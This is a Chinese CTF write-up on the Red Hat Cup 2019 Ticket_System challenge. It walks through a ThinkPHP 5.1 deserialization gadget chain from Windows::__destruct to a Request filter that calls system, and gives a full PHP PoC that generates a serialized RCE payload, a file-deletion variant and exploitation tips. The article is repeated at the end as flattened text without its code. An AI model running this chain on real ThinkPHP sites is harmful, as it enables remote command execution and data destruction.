从红帽杯题目学习thinkphp 5.1反序列化利用链
字数 1210 2025-08-18 11:39:08

ThinkPHP 5.1 反序列化利用链深度分析

前言

本文通过分析红帽杯2019 Ticket_System题目中的ThinkPHP 5.1反序列化漏洞,详细讲解其利用链构造思路和实现原理。该漏洞利用链设计精巧,涉及多个类的魔术方法和特性,最终可实现远程代码执行(RCE)。

漏洞背景

在红帽杯2019 Ticket_System题目中,首先通过XXE漏洞读取服务器上的hints.txt文件,提示需要实现RCE。结合报错信息发现系统使用ThinkPHP 5.2框架,进而联想到ThinkPHP的反序列化漏洞。

基础利用链分析

1. 反序列化入口点

利用链从think\process\pipes\Windows类的__destruct()方法开始:

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

其中removeFiles()方法存在文件删除漏洞:

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

通过控制$this->files数组,可以实现任意文件删除:

namespace think\process\pipes;

class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = ["/path/to/file"];
    }
}

2. 触发__toString方法

为了实现RCE,需要更复杂的利用链。当$this->files中的元素是对象时,file_exists()会尝试将对象转为字符串,触发__toString()方法:

$this->files = [new Pivot()];

Pivot类继承自Model类,而Model类通过trait引入了Conversion特性,其中包含__toString()方法:

public function __toString()
{
    return $this->toJson();
}

3. 调用链深入

toJson()方法调用toArray(),其中关键代码:

public function toArray()
{
    // ...
    if (!empty($this->append)) {
        foreach ($this->append as $key => $name) {
            if (is_array($name)) {
                $relation = $this->getRelation($key);
                if (!$relation) {
                    $relation = $this->getAttr($key);
                    $relation->visible($name);
                }
                // ...
            }
        }
    }
    // ...
}

通过控制$this->append$this->data,可以触发Request类的__call方法:

protected $append = ["axin"=>['calc.exe', 'calc']];
protected $data = ["axin"=>new Request()];

RCE实现路径

1. Request类的__call方法

当调用不存在的方法visible()时,触发__call

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
    }
    throw new Exception('method not exists:' . static::class . '->' . $method);
}

通过控制$this->hook实现方法调用:

protected $hook = ["visible"=>[$this,"isAjax"]];

2. isAjax方法链

isAjax()方法调用链:

public function isAjax($ajax = false)
{
    // ...
    $result = $this->param($this->config['var_ajax']) ? true : $result;
    // ...
}

param() -> input() -> filterValue()最终到达危险函数调用:

private function filterValue(&$value, $key, $filters)
{
    // ...
    if (is_callable($filter)) {
        $value = call_user_func($filter, $value);
    }
    // ...
}

通过设置$this->filter = "system",可以实现命令执行:

protected $filter = "system";
protected $config = ["var_ajax"=>'axin'];

完整PoC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["axin"=>['calc.exe', 'calc']];
        $this->data = ["axin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "";
    protected $config = [];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'axin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

实际利用技巧

  1. 反序列化触发:在实际题目中,可能需要通过phar协议触发反序列化
  2. 参数控制:GET/POST参数中需要包含axin=command来实现命令执行
  3. 权限问题:注意Web服务器用户权限,确保能执行目标命令

防御建议

  1. 升级到最新版本的ThinkPHP
  2. 避免反序列化用户可控数据
  3. 对魔术方法的使用保持谨慎
  4. 使用白名单机制过滤危险函数

总结

该利用链展示了从反序列化入口到RCE的完整路径,涉及:

  • 文件删除漏洞
  • __destruct__toString魔术方法
  • trait特性的利用
  • __call方法的危险调用
  • 参数控制实现命令执行

理解这个利用链有助于深入掌握PHP反序列化漏洞的挖掘和防御方法。

ThinkPHP 5.1 反序列化利用链深度分析 前言 本文通过分析红帽杯2019 Ticket_ System题目中的ThinkPHP 5.1反序列化漏洞,详细讲解其利用链构造思路和实现原理。该漏洞利用链设计精巧,涉及多个类的魔术方法和特性,最终可实现远程代码执行(RCE)。 漏洞背景 在红帽杯2019 Ticket_ System题目中,首先通过XXE漏洞读取服务器上的hints.txt文件,提示需要实现RCE。结合报错信息发现系统使用ThinkPHP 5.2框架,进而联想到ThinkPHP的反序列化漏洞。 基础利用链分析 1. 反序列化入口点 利用链从 think\process\pipes\Windows 类的 __destruct() 方法开始: 其中 removeFiles() 方法存在文件删除漏洞: 通过控制 $this->files 数组,可以实现任意文件删除: 2. 触发__ toString方法 为了实现RCE,需要更复杂的利用链。当 $this->files 中的元素是对象时, file_exists() 会尝试将对象转为字符串,触发 __toString() 方法: Pivot 类继承自 Model 类,而 Model 类通过trait引入了 Conversion 特性,其中包含 __toString() 方法: 3. 调用链深入 toJson() 方法调用 toArray() ,其中关键代码: 通过控制 $this->append 和 $this->data ,可以触发 Request 类的 __call 方法: RCE实现路径 1. Request类的__ call方法 当调用不存在的方法 visible() 时,触发 __call : 通过控制 $this->hook 实现方法调用: 2. isAjax方法链 isAjax() 方法调用链: param() -> input() -> filterValue() 最终到达危险函数调用: 通过设置 $this->filter = "system" ,可以实现命令执行: 完整PoC 实际利用技巧 反序列化触发 :在实际题目中,可能需要通过phar协议触发反序列化 参数控制 :GET/POST参数中需要包含 axin=command 来实现命令执行 权限问题 :注意Web服务器用户权限,确保能执行目标命令 防御建议 升级到最新版本的ThinkPHP 避免反序列化用户可控数据 对魔术方法的使用保持谨慎 使用白名单机制过滤危险函数 总结 该利用链展示了从反序列化入口到RCE的完整路径,涉及: 文件删除漏洞 __destruct 和 __toString 魔术方法 trait特性的利用 __call 方法的危险调用 参数控制实现命令执行 理解这个利用链有助于深入掌握PHP反序列化漏洞的挖掘和防御方法。